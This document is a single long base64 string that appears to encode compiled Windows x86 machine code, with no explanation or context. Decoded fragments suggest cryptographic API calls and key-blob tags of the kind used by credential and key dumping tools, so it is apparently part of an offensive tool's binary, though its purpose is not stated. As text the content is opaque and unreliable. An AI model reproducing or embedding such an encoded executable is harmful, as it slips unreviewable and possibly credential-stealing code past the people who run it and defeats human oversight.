uUcDGzt+CHLiX4vGXl1bi+Vdw1aL8YX2dHlVM+1Xiz24xAsQOW4MdGU5bgh2W1OLRgyLHKiF23RJg3ssAHQF/3Ms/9eDezQAdAX/czT/14N7PAB0Bf9zPP/Xg3tEAHQF/3NE/9eDe0wAdAX/c0z/14tLUIXJdAiLUxzoI/7//1P/10U7bghyp1v/dgz/11b/119dXsNTVle7WPAMEDP2U1ZooPUMEIv66IZ0AACDxAyF/3RK/zf/N1NWaOj1DBDob3QAAP93BP93BFNWaDD2DBDoXXQAAP93CFNWaHT2DBDoTnQAAIPEODl3CHYRi1cMixSy6NQAAABGO3cIcu9fXlvDUVNVVldqVGpAi+n/FdTECxCL2IXbD4SnAAAAagtZi/WNRSyL+/Oli3MoiUMsiwwGg8AEA8aJSzCJQzSLFAiDwQQDwYlTOIlDPIsMEIPABAPCiUtAiUNEizwIg8AEA8GJe0iDexwAiUNMdBj/cxyLz41TUIPhAQPIA8/oLvz//4tzKFkz/41LLFdW6HbQAABX/3MwjUs06GrQAABX/3M4jUs86F7QAABX/3NAjUtE6FLQAABX/3NIjUtM6EbQAACDxChfXl2Lw1tZw1NVVr1Y8AwQi/JVagJbU2io9gwQ6E5zAACDxAyF9g+EQwEAAFf/Nv82VVNo4PYMEOgycwAA/3YE/3YEVVNosPEMEOggcwAAi04Ig/kHG8Ajwf80hYQuDBBRUVVTaGDxDBDoAXMAAIPEQFVTaPTxDBDo8nIAAI1ODOhGzgAAv1goDBBX6N9yAAD/dhT/dhRVU2go8gwQ6M1yAACLThjoyQAAAFBRUVVTaHDyDBDotnIAAP92HP92HFVTaMDyDBDopHIAAIPEUP92IP92IFVTaAjzDBDoj3IAAP92JP92JFVTaFDzDBDofXIAAP92LFVTaJTzDBDobnIAAP92NFVTaPzzDBDoX3IAAIPESP92PFVTaDD0DBDoTXIAAP92RFVTaGT0DBDoPnIAAFVTaJj0DBDoMnIAAItWSItOTOi1ygAAV+ghcgAA/3YcVVNoyPQMEOgScgAAi1ZQg8RAi8v/dhzowfv//1lfXl1bw4P5BHMIiwSNdC4MEMO4JPcMEMNRU1WLLdTECxBWajCL8WpAiXQkFP/Vi9iF23RlV2oGWYv786WLTCQQjXsci0MUg8EYA8GJSxiL8GooakClpaWljXAQiXQkGP/Vi+iF7XQfi0QkEIv9aglZ86VqAP91II1NJIPAJIkB6FHOAABZWWoA/3MUjUsYiWss6D/OAABZWV9eXYvDW1nDU1ZXv1jwDBAz21dTaEj4DBCL8uhJcQAAg8QMhfZ0a1X/Nv82V1NodPgMEOgxcQAAV1NoqPgMEOglcQAAjU4E6CPNAAC9WCgMEFXoEnEAAP92GFdTaMj4DBDoA3EAAP92JP92IP92HFdTaPD4DBDo7nAAAItWLIPETIXSdAXoDAAAAFXo2XAAAFldX15bw1WL7IPk+FFVVle9WPAMEIvyVWoCaDD5DBDotXAAAIPEDIX2dFRVagJoZPkMEOihcAAAg8QMi87oncwAAL9YKAwQV+iMcAAAWVVqAmiA+QwQ6H5wAACDxAyNThDoecwAAFfobXAAAItWJFlqAlnodjEAAFfoW3AAAFlfXl2L5V3DixEzwIP6JA+ClQAAAFNVvUtEQk27S1NTTVZXOWkMdRGDeQgCdXaDeRQQdXCNcRjrFzlZEHVogXkggAAAAHVdg3kkEHVXjXEoi3wkFDPApaWlpYN8CgQ0ckU5bAoQdRNAOUQKDHU2g3wKGCB1L41xHOsdOVwKFHUmgXwKJAABAAB1GoN8CiggdRMzwI1xLECLfCQYA/JqCFnzpesCM8BfXl1bw1WL7IPk+IPsEFNVVleL6Wo8akCJbCQk/xXUxAsQi9iF2w+ECwEAAGoKWYv1jVUoi/sz7fOli3MkjUsoiRFVVosEFolDLI1CBAPGiUMw6DLMAABV/3MsjUsw6CbMAACLQyyDxBAz0moMWffxg3sQBIlDNBvJ99kDyMHhAlFqQP8V1MQLEIlDOIXAD4SjAAAAi3QkHDlrNHZmi/2JdCQYiXwkFGogakD/FdTECxCLSziJBKmFwHQ3i0Mwi0QHBIt7OANEJByL8IlEJBiLyIs8r6WlpaWDOGRyA41IBItTOIPBEIsUquhTAAAAi3wkFEWDxwyJfCQUO2s0cqiLdCQYhfZ0MIN7EARzKmogakD/FdTECxCLSziJBKmFwHQWi1M4i04Qg8EWA86LFKroDQAAAP9DNF+Lw15dW4vlXcNWi/FXi/qLFolXEIXSdEhKiVcQikYEg8YFhMB0K4PC/IlXEIsGiUcYhcB0HIPGBI1PHCvQiTFqAFCJVxAD8OgFywAAi1cQWVmNTxRqAFKJMejzygAAWVlfXsNWi/GF9nRrg34oAFeLPbjECxB0Bf92KP/Xg34wAHQF/3Yw/9eLTjiFyXRDUzPbOV40djeLTjiLBJmFwHQng3gUAHQI/3AU/9eLTjiLBJmDeBwAdAj/cBz/14tOOP80mf/Xi044QzteNHLJUf/XW1b/119ew1NWV7tY8AwQM/ZTVmic+QwQi/rojm0AAIPEDIX/D4QEAQAAVVNWaND5DBDodm0AAIvP6HXJAAC9WCgMEFXoZG0AAP93EP93EFNWaAj6DBDoUm0AAFNWaFT6DBDoRm0AAI1PFOiayAAAVeg4bQAA/3cc/3ccU1ZokPoMEOgmbQAAg8RI/3cg/3cgU1Zo4PoMEOgRbQAA/3coU1ZoLPsMEOgCbQAA/3cs/3csU1ZocPsMEOjwbAAAi0csg8Q4M9KL7moMWffxhcB0PIvei0cw/3QDCP90Awj/dAME/3QDBP80A2hY8AwQVmjA+wwQ6LVsAACLRyyDxCAz0kVqDFn38QPZO+hyxl05dzR2EYtXOIsUsugVAAAARjt3NHLvaFgoDBDogGwAAFlfXlvDU1VWu1jwDBCL8lNqAl1VaDj8DBDoYmwAAIPEDIX2D4SKAAAAV/82/zZTVWiA/AwQ6EZsAAD/dgz/dgj/dgRTVWjw+AwQ6DFsAAAz/4PELDl+GHQqOX4cdCVTVWi0/AwQ6BZsAACLVhiLThxX6MjGAABoWCgMEOgAbAAAg8QUOX4QdCo5fhR0JVNVaNT8DBDo52sAAItWEItOFFfomcYAAGhYKAwQ6NFrAACDxBRfXl1bw1FTVYst1MQLEFZqEIvxakCJdCQU/9WL2IXbdFxXi/ulpaWLQwSFwHROweACUGpA/9WJQwyFwHQ/i3wkEDP2g8cMOXMEdjGLbwSDxQhVakD/FdTECxCLSwyJBLGFwHQQi0MMVVf/NLDoGNkJAIPEDAP9RjtzBHLPX15di8NbWcNTVVa7WPAMEIvyU2oCXVVo+PwMEOgxawAAg8QMhfYPhMUAAABX/zb/NlNVaEz9DBDoFWsAAP92BP92BFNVaID9DBDoA2sAAP92CP92CFNVaLT9DBDo8WoAADP/g8Q8OX4MD4SBAAAAaFgoDBDo2WoAAFk5fgR2cVNVaOj9DBDox2oAAItGDIPEDIsEuIsIi8GD6AF0JoPoAXQag+gBdA5RaGT+DBDooGoAAFnrGGhA/gwQ6wxoHP4MEOsFaPj9DBDohWoAAItGDFmLFLiNSgiLUgToAcMAAGhYKAwQ6GlqAABHWTt+BHKPX15dW8OD7BRTVVaL8TPti91Xi/qB/gCAAAB1bYN8JDAED4UbAQAAjUQkEFBofP////8VGMgLEIXAD4gDAQAAjUQkHFCLRCQUVf9QDIXAD4juAAAAi0QkEFf/dCQs/3QkJP9QEP90JCyLRCQU/3QkIP9QFIXAjUQkHFCLRCQUD5nD/1AY6bkAAABoAAAA8GoYVVWNRCQwUP8VPMALEIXAD4SdAAAAjUQkGFBVVVb/dCQw/xUkwAsQhcB0fFX/dCQsV/90JCT/FSDACxCFwHReiz0MwAsQjUQkFFVQVWoC/3QkKP/XhcB0Rf90JBRqQP8V1MQLEIvwhfZ0M1WNRCQYUFZqAv90JCj/14tMJDCL2DlMJBQPQkwkFFFW/3QkNOj61gkAg8QMVv8VuMQLEP90JBj/FRjACxBV/3QkJP8VAMALEF9eXYvDW4PEFMNRUVOLXCQUi8JVVolMJBC5A2YAAFcz/4lEJBCNaww7wXRQVWpA/xXUxAsQi/CF9nRii0QkEFP/dCQgiUYEjUYMUMcGCAIAAIleCOiC1gkAg8QM/3QkKP90JChXVVb/dCQo/xUQwAsQVov4/xW4xAsQ6yE5fCQsdBv/dCQsi1QkIP90JCz/dCQsU+gKCAAAg8QQi/iLx19eXVtZWcOB7BwBAABTVVaLtCQsAQAAi+pXi7wkOAEAADv3iUwkEBvbQzv3cgdXVemSAAAAakCNRCQYajZQ6PnPCQBqQI1EJGRqXFDo688JAIPEGDPShfZ0Go1EJBQr6I1EJBQDwooMKDAIMEwUVEI71nLsi2wkEI2EJJQAAABWUGpAjVQkIIvN6Jb9//+DxAyFwHRBjYQklAAAAIvNVgPGjVQkWFBqQOh3/f//i9iDxAyF23QgjQw2O/mNhCSUAAAAD0LPUVD/tCQ8AQAA6GnVCQCDxAxfXl2Lw1uBxBwBAADDVYvsg+wQVjP2iU38VlGNRfRQUWoGWugkDwAAg8QQhcB0aVZRjUX4UFGLTfxqBFroCw8AAIPEEIXAdEONRfBQUVZRi038ahBa6PIOAACDxBCFwHQhVv91/P8VAMALEGoQ/3XwjUX8/3X4/3X0UP8VRMALEIvw/3X4/xW4xAsQ/3X0/xW4xAsQhfZ1E/8VyMQLEFBoiP4MEOgCZwAAWVmLxl7Jw4PsJFNVVjPtiUwkHGgAAADwahhVVY1EJCSJbCQwUIvyiWwkOIvdiWwkPIlsJED/FTzACxCFwA+E9gAAAItMJBSNRCQYVVBoAAEAAP90JEC6AmYAAFboi/3//4PEFIXAD4TCAAAAjUQkDFBV/3QkIGgJgAAA/3QkJP8VJMALEIXAD4SXAAAAVY1EJCBQagX/dCQY/xUcwAsQhcB0d1X/dCRA/3QkQP90JBj/FSDACxCFwHRgVY1EJBRQVWoC/3QkHP8VDMALEIXAdEn/dCQQakD/FdTECxCL8IX2dDdVjUQkFFBWagL/dCQc/xUMwAsQi0wkRIvYOUwkEA9CTCQQUVb/dCRI6K3TCQCDxAxW/xW4xAsQ/3QkDP8VGMALEP90JBj/FUjACxBV/3QkGP8VAMALEF5di8Nbg8Qkw4PsJFNVVmgAAADwahgz9olUJBxWVo1EJDiL6YveiWwkKFCJXCQk/xU8wAsQhcAPhKsBAACNRCQkUFZWVf90JDj/FSTACxCFwA+EhgEAAFaNRCQQUFZqAv90JDT/FQzACxCFwA+EYQEAAItEJDyLNdTECxCDwARQakD/1ovoiWwkLIXtD4Q/AQAA/3QkDGpA/9aL2IXbD4QiAQAAV/90JBBqQP/Wi/iF/w+EBwEAAP90JEAz9v90JEBGVYl0JCDouNIJAIPEDIvOg3wkTACJTCQkD4bXAAAAi1QkGIvBi0wkQA/IiQQpjUEE/3QkEItMJCBXUFX/dCRI6Mj9////dCQkV1Poc9IJAItEJGSDxCA7xot0JBB2XUiJRCQgi1QkGItMJBxWV1ZX/3QkSOiU/f//i3QkJIPEFDPthfZ0FYvXi8sr04oECjABRYt0JBBBO+5y8YN8JFAAdA9WU1foGdIJAIt0JByDxAyDbCQgAXWsi2wkMDl0JEwPQnQkTFZT/3QkUOjz0QkAi0QkWIPEDAF0JEgrxotMJCSLdCQUQYlEJEyJTCQkhcAPhSn///9X/xW4xAsQU/8VuMQLEF9V/xW4xAsQi1wkEDP2/3QkJP8VGMALEFb/dCQs/xUAwAsQXl2Lw1uDxCTDVYvsi0UIweAEg30MAIlFCHQUUI1FCFBSM8BQUFBR/xU4wAsQXcONRQhQUjPAUFBQUf8VLMALEF3Dg+w0U1aLdCRAi8JXahCL+YlEJBBZM9s78Q+GRwEAAI1EJBBQU1NX/xU0wAsQhcAPhEkBAABT/3QkTGoBV/8VFMALEIXAD4QPAQAAVY1uD8HtBIPmD2oQWA9Fxot0JBCJRCRIg/0CdhyNRf6L1lNQi8/oUf///1lZhcAPhNkAAACLRCRIjU3+g8AQweEEUAPOjUQkKFFQiUwkLOi70AkAi3QkVI1MJEBqEFgrxgPOUFNRiUQkNOigygkAg8QYx0QkGBAAAACNRCQYUI1EJChQU1NT/3QkKP8VLMALEIXAdHn/dCQcDxBMJCiNRCQoDxBEJDgDxlCNRCQ8Zg/vyAPGUA8RTCQw6FDQCQCDxAzHRCQcEAAAAI1EJBxQjUQkOFBTU1NX/xUswAsQi9iF23Qqi3wkII10JDT/dCRIjUQkKMHlBFCLRCQYpYPA8APFUKWlpegE0AkAg8QMXf90JBD/FUjACxDrGHUWiUwkRI1MJERRUFNTU1f/FSzACxCL2F9ei8Nbg8Q0w4PsKFNVVot0JDiLwVdqEF8z7YlUJBCJRCQUO/cPhsUAAABV/3QkRGoBUP8VFMALEIXAD4S+AAAAjV4Pi8fB6wSD5g8PRcaLdCQUiUQkPIP7AnYfi1QkEI1D/moBUIvO6Nz9//9ZWYXAD4SIAAAAi0QkPI1L/oPAEMHhBANMJBBQUY1EJCCJTCQcUOhEzwkAi0QkSI1MJDQr+APBV1VQ6DDJCQBqAWoCjVQkOIvO6I79//+L6IPEIIXtdDuLfCQUjXQkKP90JDyNRCQcweMEUItEJBilg8DwA8NQpaWl6PHOCQCDxAzrD3UNagFqAehO/f//WVmL6F9ei8VdW4PEKMNVi+yD7AxTVldoAAAA8GoYM9vHRfQBAAAAU1ONRfiL+lCL8/8VPMALEIXAdGaLTfiNRfxTUFNqEP91DLoOZgAA6L33//+DxBSFwHQ9U41F9FBqBP91/P8VFMALEIXAdCCL14tN/P91FP91CDldGHQH6Iv+///rBej9/P//WYvwWf91/P8VSMALEFP/dfj/FQDACxBfi8ZeW8nDg+wYVVaJVCQcM/aJTCQY6OK8AACL6IlsJBSF7Q+E6AEAAFOLXCQ0aghqGFZVU/8VPMALEIXAD4TGAQAAjUQkDIl0JAxQaAEAAAJqAf8z/xUEwAsQhcAPhIoBAABXiz0owAsQjUQkFFBWVmoHVv90JCT/14XAD4RqAQAA/3QkFGpA/xXUxAsQi+iJbCQYhe0PhEwBAACNRCQUUFVWagdW/3QkJP/XhcAPhC0BAAD/dCQQ/xVIwAsQiXQkEItdDMHrA8dFEAEAAACL89HujWxdAIPFFI1+/1dqAI1FAcZFAAFQ6FPHCQAD7jP2V1aNRQHGRQABUOhAxwkAV41DAcZEHQABA8VWUOguxwkAi1wkXI1EJDSLbCQ8g8QkUFZW/3QkIFX/M/8VEMALEIXAD4SoAAAAakxYUGpAiUQkHP8V1MQLEIv4hf8PhI4AAACLTCQsjVcMi0QkIIvuxwcBAgAAiUcEx0cIAKQAAIXJdBaNWf8DXCQkigOIBCpFSzvpcvWLXCQ4jSwKi1QkFIvCK8GD6A90HIB8LgEAdQnGRC4BQotUJBSLwkYrwYPoDzvwcuT/dCQ0xkQX/gL/dCQ0/3QkGP90JCBX/zP/FRDACxBXi/D/FbjECxCLbCQYVf8VuMQLEItsJBxfg3wkDAB0Cv90JAz/FUjACxCF9nUHiwvo3vb//1X/FbjECxBbi8ZeXYPEGMNVi+yD7AxWV2gAAADwahgz/41F+FdXUIvxiX30/xU8wAsQhcB0OI1F/FBXV1b/dfj/FSTACxCFwHQaV41F9FBXagL/dfz/FQzACxD/dfz/FRjACxBX/3X4/xUAwAsQi0X0X17Jw1WL7IPsEFZXaAAAAPBqGDP/x0XwBAAAAFdXjUX4iX30UIvx/xU8wAsQhcB0Oo1F/FBXVv91+P8VBMALEIXAdB1XjUXwUI1F9FBqCP91/P8VQMALEP91/P8VSMALEFf/dfj/FQDACxCLRfRfwegDXsnDVYvsg+wQVldoAAAA8GoYM//HRfAEAAAAV1eNRfiJffRQi/H/FTzACxCFwHQ6jUX8UFdW/3X4/xUEwAsQhcB0HVeNRfBQjUX0UGoJ/3X8/xVAwAsQ/3X8/xVIwAsQV/91+P8VAMALEItF9F/B6ANeycNVi+yD7CSNRfhTVldqAf91CIv6i9lQ/xWQyAsQi/CF9g+InQAAAItN+IPBEGaJTfJmiU3wD7fJUWpA/xXUxAsQiUX0hcB0cov3i/ilpaWlD7dF+FCLRfT/dfyDwBBQ6H3KCQCDxAyNRfBTUP8VMMALEIN9DACL8HQ3hfZ4M2oAahCNReCL01D/dQwPt0X4uQSAAABQ/3X8ahDox/b//4PEHIXAdAuL+4114KWlpaUz9v919P8VuMQLEI1F+FD/FYzICxBfi8ZeW8nDg+wQU1VWV2gAAADwahgz7cdEJCABAAAAVVWNRCQki/pQi/GL3f8VPMALEIXAD4QIAQAAi0wkFI1EJBBVUFVqEFa6DmYAAOj68v//g8QUhcAPhMUAAACLNRTACxCNRCQYVVBqBP90JBz/1oXAD4SXAAAAVVdqAf90JBz/1oXAdHSLXCQoU2pA/xXUxAsQi3wkLIvwiTeF9nR+i2wkMFP/dCQoVoldAOhryQkAg8QMVVYz9lZqAVb/dCQk/xUswAsQi9iF23Ug/xXIxAsQUGhQ/wwQ6IRbAABZWf83/xW4xAsQiQeJdQAz7f90JBD/FUjACxDrOv8VyMQLEFBo2P8MEOhWWwAAWVnr3/8VyMQLEFBocAANEOvpi93rzf8VyMQLEFBoEAENEOgvWwAAWVlV/3QkGP8VAMALEOsT/xXIxAsQUGigAQ0Q6A9bAABZWV9eXYvDW4PEEMNRUVVWV2oGM/aNRCQQVmg0Ag0Qi/mJdCQYUFeL6ol0JCT/FajBCxCFwHRM/3QkDGpA/xXUxAsQiUQkEIXAdDhqBlZoNAINEI1EJBhQV/8VqMELEIXAdBL/dCQMi1QkFIvN6BA8AABZi/D/dCQQ/xW4xAsQhfZ1E/8VyMQLEFBoSAINEOh7WgAAWVlfi8ZeXVlZw4PsJFNVVjP2x0QkGPgCDRAz7Yl0JBRFiXQkIFeL+olsJCCL2Yl0JCiJdCQsiWwkMOi0tgAAiUQkGIXAD4SUAAAAagj/dCQk/3QkJFCNRCQgUP8VPMALEIXAdF2NRCQUUFVW/3QkSP90JEj/dCQk/xUQwAsQhcB0Iv90JESNRCQci9dQi8voVQAAAFlZ/3QkFIvw/xVIwAsQ6xP/FcjECxBQaFgDDRDoxlkAAFlZi0wkEOgd8v//6xP/FcjECxBQaNgDDRDoqFkAAFlZ/3QkGP8VuMQLEF+Lxl5dW4PEJMNRU1VWVzP2i9pWaAAgAABWVmoCi+n/FbDBCxCL+IX/dHWNRCQQUGoBU1VqAVf/FZjBCxCFwHRD/3QkGFZqAv90JBz/FazBCxCFwHQPi1QkHIvP6Dj+//+L8OsT/xXIxAsQUGhgBA0Q6CZZAABZWf90JBD/FZzBCxDrE/8VyMQLEFBoSAUNEOgHWQAAWVlqAVf/FaTBCxBfi8ZeXVtZw1FTVVZXaHReDhBoAEABADP2i9pWVmoKi+n/FbDBCxCL+IX/dGiNRCQQUGoBU1VqAVf/FZjBCxCFwHQ2/3QkGFZqAv90JBz/FazBCxCL8IX2dRP/FcjECxBQaPAFDRDokVgAAFlZ/3QkEP8VnMELEOsT/xXIxAsQUGjYBg0Q6HJYAABZWWoBV/8VpMELEF+Lxl5dW1nDUVNVVjP2jUQkDIvai+lWUDl0JCh0G/90JCjHRCQYBAAAAFNV/xUIwAsQhcB0SkbrR1ZTVf8VCMALEIXAdDpX/3QkEGpA/xXUxAsQi3wkHIkHhcB0IlaNTCQUUVBTVf8VCMALEIXAdAUz9kbrCv83/xW4xAsQiQdfi8ZeXVtZw1FTVVZXM/aNRCQQi/qL6VZQOXQkLHQwagT/dCQwV1X/FZwpEhCFwHgIM/ZG6a4AAAA5dCQYD4SkAAAAUFdoiAcNEOmQAAAAOXQkMHQhagT/dCQ0V1X/FZwpEhCFwHnKOXQkGHR6UFdoOAgNEOtpVlZXVf8VnCkSEIXAeE7/dCQQakD/FdTECxCLXCQciQOFwHRNVo1MJBRR/3QkGFBXVf8VnCkSEIXAeYA5dCQYdA9QV2j4CA0Q6CVXAACDxAz/M/8VuMQLEIkD6xU5dCQYdA9QV2iYCQ0Q6ARXAACDxAxfi8ZeXVtZw2oQaBCiERDoWGsLAIvyiXXgiU3kgz4AdEiDZfwA/zb/FaApEhCFwHgFgyYA6y9QaDgKDRDowFYAAFnrIItF7IsAM8mBOIUEAAAPlMGLwcOLZehoyAoNEOidVgAAWYNN/P+LfeQz9kaDPwB0T4l1/P83/xWgKRIQhcB4BYMnAOsNUGhYCw0Q6G5WAABZWYNN/P/rKItF7IsAM8mBOIUEAAAPlMGLwcOLZehoyAoNEOhGVgAAWYNN/P8z9kaLReCDOAB1CItF5IM4AHQCM/aLxotN8GSJDQAAAABfXlvJw2oUaCiiERDoemoLAIvaiU3gM8CJReTHRdwDAAAAi30MiQeLdRCJBolF/FBo6AsNEFf/FZgpEhCFwHhgaAAEAABT/3XgVjPbU/91CFP/N/8VlCkSEIXAeDxTagSNRdxQaDgMDRD/Nv8VpCkSEIXAeB1T/zb/FYwpEhCFwHgJx0XkAQAAAOtPuVgMDRDrE7ngDA0Q6wy5gA0NEOsFuQAODRBQUeh0VQAAWVmL1ovP6HD+///rIYtF7IsAM8mBOIUEAAAPlMGLwcOLZehomA4NEOhHVQAAWYNN/P+LReSLTfBkiQ0AAAAAX15bycNWV4v5hf90MjP2/zT10DAMEFfoMfsJAFlZhcB0IosE9dAwDBCDwCRQV+ga+wkAWVmFwHQLRoP+CHLQM8BfXsOLBPXUMAwQ6/SFyXUGuKI2DRDDM8A5DMV0MgwQdAlAg/gScvEzwMOLBMVwMgwQg8AKw4P5AXQcg/kCdBGD+f+4JPcMELroNg0QD0TCw7jMNg0Qw7isNg0QwzPAOQzFtC4MEHQJQIP4LnLxM8DDiwTFsC4MEMNWV4v5hf90MjP2/zT1sC4MEFfoffoJAFlZhcB0IosE9bAuDBCDwApQV+hm+gkAWVmFwHQLRoP+LnLQM8BfXsOLBPW0LgwQ6/RWi/GF9nRFg34QAHQJ/3YQ/xW4xAsQg34EAHQJ/3YE/xVIwAsQg34UAHQJ/3YU/xVIwAsQgz4AdApqAP82/xUAwAsQVv8VuMQLEIvwi8Zew1ZXahhqQIv5/xXUxAsQi/CF9g+EtwAAAFNoAAAA8GoNaNgUDRBqAFaJfgj/FTzACxCFwA+EjAAAAI1+BFdoQQAABGgCqgAA/zb/FQTACxCFwHRyix0UwAsQagBovC0MEGoL/zf/04XAdFtqAGjELQwQagz/N//ThcB0SmoAagBqDv83/9OFwHQ8M8CNXgxTUFBqBlD/N/8VKMALEIXAdCX/M2pA/xXUxAsQiUYQhcB0FFNQagBqBmoA/zf/FSjACxCFwHUJi87o5P7//4vwW1+Lxl7DVVYz7Y1xFIkuV4v9hdIPhIgAAACLAlONWQg5A3VdVlX/cQT/cgT/cgj/Mf8VEMALEIXAdDFVU2oH/zb/FRTACxCL+IX/dVT/FcjECxBQaMg9DRDouFIAAFlZ/zb/FUjACxCJLus1/xXIxAsQUGhYPg0Q6JlSAABZWesgUIvI6PX9//+LC1D/M+jr/f//UGjgPg0Q6HhSAACDxBRbi8dfXl3DVYvsUYtFCFOLXRBWV4t9DDP2iVX8iTeJA41FDFBWVlH/FTTACxCFwHRhVlNWVmoBVv91DP8VOMALEIXAdET/M2pA/xXUxAsQiQeFwHQ0/3UI/3X8UOjPvwkAg8QMjUUI/zNQ/zdWagFW/3UM/xU4wAsQi/CF9nUK/zf/FbjECxCJB/91DP8VSMALEF+Lxl5bycNRU4tcJAyNRCQQVYtsJBhWV4t8JBwz9lBWVok3UYlUJCCJXQD/FTTACxCFwHRIU2pA/xXUxAsQiQeFwHQvU/90JBRQ6E+/CQCDxAxV/zdWagFW/3QkMP8VLMALEIvwhfZ1Cv83/xW4xAsQiQf/dCQc/xVIwAsQX4vGXl1bWcNRU4tcJBCLwVVWV4t8JCAz9lZWV1ZqBIvqiUQkJFVQiTOJN/8VoMELEIXAdEn/N2pA/xXUxAsQiQOFwHRMVlZXUGoEVf90JCj/FaDBCxCFwHQDRus0/xXIxAsQUGiQPw0Q6PhQAABZWf8z/xW4xAsQiQOJN+sT/xXIxAsQUGgoQA0Q6NdQAABZWV+Lxl5dW1nDUVOLXCQQi8FVVleLfCQgM/ZWVldWagSL6olEJCRVUIkziTf/FbTBCxCFwHRJ/zdqQP8V1MQLEIkDhcB0TFZWV1BqBFX/dCQo/xW0wQsQhcB0A0brNP8VyMQLEFBowEANEOhnUAAAWVn/M/8VuMQLEIkDiTfrE/8VyMQLEFBoWEENEOhGUAAAWVlfi8ZeXVtZw/90JAxqAP90JAxSUehpxv///3AE/zDor/UJAIPJ/4PEHIXAD0jBw4tUJAiNRCQQUFH/dCQUi0wkEOjC////g8QMw2pIaDiiERDoWWQLADP/iX3YiVWox0WsDQAAAIlNsMdFtBgAAABqDlmJTbiLRQiJRbyJTcCJfcTHRcjwQQ0QiX3Mx0XQAwAAAI1FqIlF1Il9/FdXaABCDRCNReRQ/xVUKRIQhcAPiNgAAABXjUUIUGoEjUXgUGgoQg0Q/3Xk/xVQKRIQhcAPiJ4AAAD/deBqQP8V1MQLEIvwhfYPhJYAAABX/3UU/3UQ/3XgVo1F3FD/deT/FWwpEhCFwHhXV41FCFBqIP91GI1FzFD/ddz/FUwpEhCFwHgkM8CDfQggD5TAiUXYhcB1IWog/3UIaEhCDRDoBE8AAIPEDOsNUGjoQg0Q6PROAABZWf913P8VSCkSEOsNUGiQQw0Q6NxOAABZWVb/FbjECxDrDVBoQEQNEOjGTgAAWVlX/3Xk/xVcKRIQ6y9QaOBEDRDorU4AAFnrIItF7IsAM8mBOIUEAAAPlMGLwcOLZehomEUNEOiKTgAAWYNN/P+LRdiLTfBkiQ0AAAAAX15bycNqSGhIohEQ6NJiCwAz9ol12IlVqMdFrA0AAACJTbDHRbQYAAAAag5ZiU24i0UIiUW8iU3AiXXEx0XI8EENEIl1zMdF0AMAAACNRaiJRdSJdfxWaBhGDRCNRQhQ/xWYKRIQhcAPheQAAABWVv91EI1F3FD/dQj/FagpEhCFwA+FsAAAAFb/dRj/dRSNReBQVmhgRg0Q/3Xc/3UI/xWUKRIQhcB1dWiARg0QaJRGDRD/FYjECxBQ/xWMxAsQVoXAdECNTeRRaiD/dRyNTcxR/3Xg/9CFwHUig33kIA+UwIlF2IXAdShqIP915GiwRg0Q6IBNAACDxAzrFFBoUEcNEOsFaPhHDRDoaU0AAFlZ/3XgizWgKRIQ/9brE1BomEgNEOhPTQAAWVmLNaApEhD/ddz/1usTUGg4SQ0Q6DVNAABZWYs1oCkSEP91CP/W6y9QaNBJDRDoG00AAFnrIItF7IsAM8mBOIUEAAAPlMGLwcOLZehogEoNEOj4TAAAWYNN/P+LRdiLTfBkiQ0AAAAAX15bycNqHGhYohEQ6EBhCwCL+ovZg2XYAINl/ABqCGj8Sg0QaPBBDRCNReBQ/xVUKRIQhcAPiMcAAABqAI1F1FBqBI1F3FBoKEINEP914P8VUCkSEIXAD4iLAAAA/3XcakD/FdTECxCL8IX2D4SDAAAAagBXU/913FaNReRQ/3Xg/xVoKRIQhcB4R2oA/3UM/3UI/3Xk/xVkKRIQagBqIP91EP915P8VWCkSEDPJhcAPmcGJTdiFyXUNUGg4Sw0Q6CFMAABZWf915P8VYCkSEOsNUGjISw0Q6AlMAABZWVb/FbjECxDrDVBoWEwNEOjzSwAAWVlqAP914P8VXCkSEOsvUGjoTA0Q6NlLAABZ6yCLReyLADPJgTiFBAAAD5TBi8HDi2XoaJBNDRDotksAAFmDTfz/i0XYi03wZIkNAAAAAF9eW8nDUVFTVYtsJDAz21ZXi3wkNGj8TQ0QiVQkFIlMJBiJH4ldAP8VkMQLEIvwhfZ0X2gYTg0QVv8VjMQLEIXAdDtVV/90JDj/dCQ4/3QkOP90JDj/dCQ4/3QkOP90JDD/dCQ4/9CFwA+Uw4XAdBlQaDhODRDoKUsAAFnrCmjQTg0Q6BxLAABZVv8VhMQLEOsT/xXIxAsQUGhgTw0Q6AFLAABZWV9eXYvDW1lZw4PsEFOL2olMJAhVV40EXQEAAACNLABVakCJbCQg/xXUxAsQi/iJfCQUhf90SFYz9oXbdDaL7otEJBQPtgQGUI0EXQEAAABo3E8NECvFUFfojfr//4PEEIPFAkaDxwQ783LUi3wkGItsJByLRCQkXoXAdAKJKIvHX11bg8QQw1WL7IPsHItFCFNWakCJReQz21ONReTHRehGAAAAiUX4jUUIaPBPDRBQUYlV7Ild8MdF9AEAAAD/FagpEhCL8IX2D4WbAAAAV2gAAQAAjUX8UFNTjUXwUP91EP91DP91CP8VrCkSEIvwhfZ1Xf91/GpA/xXUxAsQi30UiQeFwHRCi10YaAABAABT/3X8UI1F8FD/dRD/dQz/dQj/FawpEhCL8IX2dDBWaHhQDRDox0kAAFlZ/zf/FbjECxCDIwCJB+sUvg4ACYDrDVZoCFENEOikSQAAWVn/dQj/FaApEhBf6w1WaJhRDRDoi0kAAFlZi8ZeW8nDg+w0M8BTVldqCIvxjXwkJFloAEAAADPbU/OrUo1EJBhQVv8VqCkSEIvwhfYPhZUBAACLPZwpEhCNRCQQVb1AAABAVVBqBI1EJChQaChSDRD/dCQk/9eL8IX2D4VNAQAAVY1EJBhQagSNRCQkUGhcUg0Q/3QkJP/Xi/CF9g+FIwEAAFNqII1EJCxQU/90JCiNRCQwagRQi0QkaIPA/lD/dCRoaLEAAAD/FUApEhCL8IX2D4XmAAAAjUQkIFBqIFqNTCQo6MX9//+L+FmF/w+EwwAAAItMJCBqQIPB/lFXaJBSDRD/dCQg/xWkKRIQiy24xAsQi/CF9g+FhwAAAGpCjUQkGFBTU1P/dCRo/3QkaP90JCz/FawpEhCL8IX2dV3/dCQUakD/FdTECxCLXCRYiQOFwHRAakL/dCRg/3QkHFBW/3QkaP90JGj/dCQs/xWsKRIQi/CF9nQ4VmiwUg0Q6B9IAABZWf8z/9WJA4tEJFyDIADrHL4OAAmA6xVWaEBTDRDrBlZo0FMNEOj0RwAAWVlX/9XrJL4OAAmA6x1WaIhUDRDrDlZoIFUNEOsGVmjoVQ0Q6MtHAABZWf90JBD/FaApEhBd6w1WaKhWDRDosUcAAFlZX4vGXluDxDTDVYvsi0UIg8Agi00IiUEQi0UIi00Ii0kciUgMi0UI/3AYi0UI/3Aci0UIg8A